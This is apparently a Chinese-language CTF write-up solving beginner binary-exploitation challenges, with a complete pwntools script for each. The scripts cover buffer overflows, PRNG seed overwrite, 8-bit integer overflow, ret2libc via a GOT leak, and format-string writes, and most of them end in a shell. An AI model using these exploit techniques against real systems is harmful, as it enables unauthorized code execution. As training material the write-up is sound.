pwn
level2
IDA分析
很明显的溢出,而且还调用了system,看汇编。
拿到call_system的地址,然后shift+f12也找到了bin_sh。
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
r = process("level2")
context(log_level="debug", arch="i386", os="linux")
r.recvuntil("Input:") call_system_addr = 0x0804845C bin_sh_addr = 0x0804A024 payload = 'a'*0x8c + p32(call_system_addr) + p32(bin_sh_addr) r.send(payload)
r.interactive()
|
guess_num
保护全开了,IDA分析。
main反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { FILE *v3; int v5; int i; int v7; char v8; unsigned int seed[2]; unsigned __int64 v10;
v10 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); v3 = stderr; setbuf(stderr, 0LL); v5 = 0; v7 = 0; *(_QWORD *)seed = sub_BB0(v3, 0LL); puts("-------------------------------"); puts("Welcome to a guess number game!"); puts("-------------------------------"); puts("Please let me know your name!"); printf("Your name:"); gets(&v8); srand(seed[0]); for ( i = 0; i <= 9; ++i ) { v7 = rand() % 6 + 1; printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1)); printf("Please input your guess number:"); __isoc99_scanf("%d", &v5); puts("---------------------------------"); if ( v5 != v7 ) { puts("GG!"); exit(1); } puts("Success!"); } sub_C3E(); return 0LL; }
|
sub_C3E()是cat flag的。
这题就是生成随机数,然后用户猜,猜对10次就可以了。
学过C都知道rand()是伪随机数,只要能控制随机数种子,那么随机数就能预测。
1 2 3 4 5 6
| char v8; unsigned int seed[2]; . . printf("Your name:"); gets(&v8);
|
名字输入处用了gets函数,因此可以溢出。看局部变量声明顺序,名字变量填充0x20字节即可溢出覆盖到种子变量seed。
用ldd命令查看程序链接库路径。
然后固定一个种子值,边调用libc的rand()生成随机数边发送即可。(若远端库版本不一样,虽然固定种子值,但生成的随机数也可能不一样,所以打pwn要尽可能地模拟出和远端一样的环境)
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * from ctypes import *
so = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
r = remote("159.138.137.79", 59240) context(log_level="debug") r.recvuntil("Your name:") payload = 'a'*0x20 + p64(1) r.sendline(payload) so.srand(1) for i in range(10): r.recvuntil("number:") r.sendline(str(so.rand()%6+1))
r.interactive()
|
int_overflow
main函数
跟进login函数
再跟进check_passwd函数
check_passwd对传入的字符串进行判断,只要长度在[4,8]之间就会将字符串复制到dest变量。
这里很明显,密码字符串的buf长度远大于dest变量,因此可以造成溢出。
然后考虑的就是绕过长度限制,v3是字符串长度,它是无符号8位整型,数值范围是0~255,结合题目名字可以知道当v3大于255的时候就会溢出,比如256就会溢出成0,那么[260,264]就可以溢出到[4,8]这个区间。应该不难理解。
8 |
7 |
6 |
5 |
4 |
3 |
2 |
1 |
0 |
十进制 |
|
1 |
1 |
1 |
1 |
1 |
1 |
1 |
1 |
255 |
1 |
0 |
0 |
0 |
0 |
0 |
0 |
0 |
0 |
256 |
8位无符号整型,有效位0~7,溢出后就为0了。
绕过了长度问题,就要想溢出后要劫持程序流到哪。
仔细找找发现还漏了一个cat flag的函数。
直接跳上去就可以了。
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
r = remote("159.138.137.79", 60855) context(log_level="debug", arch="i386", os="linux")
cat_flag_addr = 0x0804868B
r.sendlineafter("Your choice:", "1") r.sendlineafter("Please input your username:", "sncker")
payload = 'a'*0x18 + p32(cat_flag_addr) payload = payload.ljust(260, 'a') r.send(payload)
r.interactive()
|
cgpwn2
直接贴关键函数。
看着hello函数一堆乱起八糟的东西,直接跑一下程序。
估计是干扰的。去掉这些干扰的代码,剩下的思路就比较清晰。gets可以溢出了,pwn函数里有call_system的地址。shift+12找bin_sh没找到。仔细看一下发现name是全局变量,那么直接写bin_sh进去就可以了。
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
r = remote("159.138.137.79", 51100) context(log_level="debug", arch="i386", os="linux")
call_system_addr = 0x0804855A p_name = 0x0804A080
r.sendlineafter("name", "/bin/sh") r.sendlineafter("here:", 'a'*0x26 + 'a'*0x4 + p32(call_system_addr) + p32(p_name))
r.interactive()
|
when_did_you_born
很清晰的思路,先让v5不等于1926再让v5等于1926,gets的v4可以覆盖到v5。
脚本
1 2 3 4 5 6 7 8 9 10
| from pwn import *
r = remote("159.138.137.79", 62561) context.log_level = "debug"
r.sendlineafter("Birth?", "1999") r.sendlineafter("Name?", 'a'*0x8 + p64(1926))
r.interactive()
|
hello_pwn
又是简单的覆盖。
相差4直接填充。
1 2 3 4 5 6 7 8
| from pwn import *
r = remote("124.126.19.106", 45068) payload = 'a'*4 + p64(1853186401) r.sendafter("for bof", payload)
r.interactive()
|
level0
简单的溢出。平台放题顺序有点问题啊。
1 2 3 4 5 6 7 8 9 10
| from pwn import *
r = remote("124.126.19.106", 39454)
callsystem_addr = 0x0000000000400596 payload = 'a'*0x88 + p64(callsystem_addr) r.sendafter("World", payload)
r.interactive()
|
level3
这题给了libc文件,终于要ret2libc了。。。
虽然有溢出,但是程序里没用system和binsh字符串,只能跳到libc。
那么就需要泄露一些库函数的地址,来计算出libc的基址。泄露可以用printf和write这类函数来泄露。这里可以看到在read之前,程序调用过一次write,那么got表里是有write的地址的。所以可以调用write来泄露write的真实地址。
1 2 3 4 5
| vul_addr = elf.symbols["vulnerable_function"] write_plt = elf.plt["write"] write_got = elf.got["write"]
payload = 'a'*0x8C + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4)
|
再次跳回vulnerable_function后就是简单的ret2libc了。
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
context.log_level = "debug"
elf = ELF("level3") libc = ELF("libc_32.so.6")
r = process("level3")
vul_addr = elf.symbols["vulnerable_function"] write_plt = elf.plt["write"] write_got = elf.got["write"]
payload = 'a'*0x8C + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4) r.sendafter("put:\n", payload) write_addr = u32(r.recv(4)) log.success("write_addr: " + str(hex(write_addr)))
libc_base = write_addr - libc.symbols["write"] system_addr = libc_base + libc.symbols["system"] bin_sh_addr = libc_base + libc.search("/bin/sh").next()
payload = 'a'*0x8C + p32(system_addr) + p32(1) + p32(bin_sh_addr) r.sendafter("put:\n", payload)
r.interactive()
|
get_shell
直接给shell,略。
string
sub_400996打印一个龙,然后申请了一块内存给v3,v4=v3,v3[0]=68,v3[1]=85,然后把地址打印出来,跟入sub_400D72(v4)。
没什么可利用的,name小于12就行。sub_400A7D里是简单的判断,就不贴了。
看sub_400BB9。
有一处格式化字符串漏洞。提示v2是输入一个地址,并且v2紧邻format,可导致任意内存写入。再看sub_400CA6。
if是判断a1[0]=al[1],然后mmap看了一下是映射内存,比如可将磁盘文件内容映射到内存里。但是这里的fd位用了-1,就是一个匿名映射。也不太了解干嘛的,但不管映射什么,都是拿到了一块内存。这里就拿到了一块0x1000的内存,然后read0x100,让我们写内存,然后转为函数指针去调用。很明显我们可以写shellcode进去。然后回溯一下a1就是最开始申请的v3。
思路就很清晰,首先通过打印得到v3地址,利用fmt漏洞将v3[0]写成85,然后就可以写shellcode了。
这里要确定一下输入的v3地址的偏移是多少。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
r = process("string")
r.recvuntil("secret[0] is ") secret_addr = int(r.recv(7),16) log.info(hex(secret_addr)) r.sendlineafter("character's name be:\n", "sncker") r.sendlineafter("east or up?:\n", "east") r.sendlineafter("leave(0)?:\n", "1") r.sendlineafter("'Give me an address'\n", str(secret_addr)) payload = "aaaa" + ".%x"*10 r.sendlineafter("you wish is:\n", payload)
r.interactive()
|
可以看到我们输入的地址相当于格式化字符串的第7个参数。就可以用%85c%7$n将v3[0]写成85了。
shellcode用shellcraft生成的就可以了,注意要声明64位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import *
r = process("string") context(log_level="debug", arch="amd64", os="linux")
r.recvuntil("secret[0] is ") secret_addr = int(r.recv(7),16) log.info(hex(secret_addr)) r.sendlineafter("character's name be:\n", "sncker") r.sendlineafter("east or up?:\n", "east") r.sendlineafter("leave(0)?:\n", "1") r.sendlineafter("'Give me an address'\n", str(secret_addr))
payload = "%85c%7$n" r.sendlineafter("you wish is:\n", payload) r.sendlineafter("USE YOU SPELL", asm(shellcraft.sh()))
r.interactive()
|
CGfsb
这题也是利用fmt写内存。将pwnme覆写成8就可以了。pwnme是全局变量可以拿到地址。然后就是确定一下偏移。
输入的字符串相当于第10个格式化参数。
然后p32(pwnme)刚好是4字节小于8所以可以把地址写在前面。
1 2 3 4 5 6 7 8 9 10
| from pwn import *
r = process("CGfsb") context(log_level="debug", os="linux", arch="i386") pwnme = 0x0804A068 r.sendlineafter("name:", "sncker") payload = p32(pwnme) + "%4c%10$n" r.sendlineafter("please:", payload)
r.interactive()
|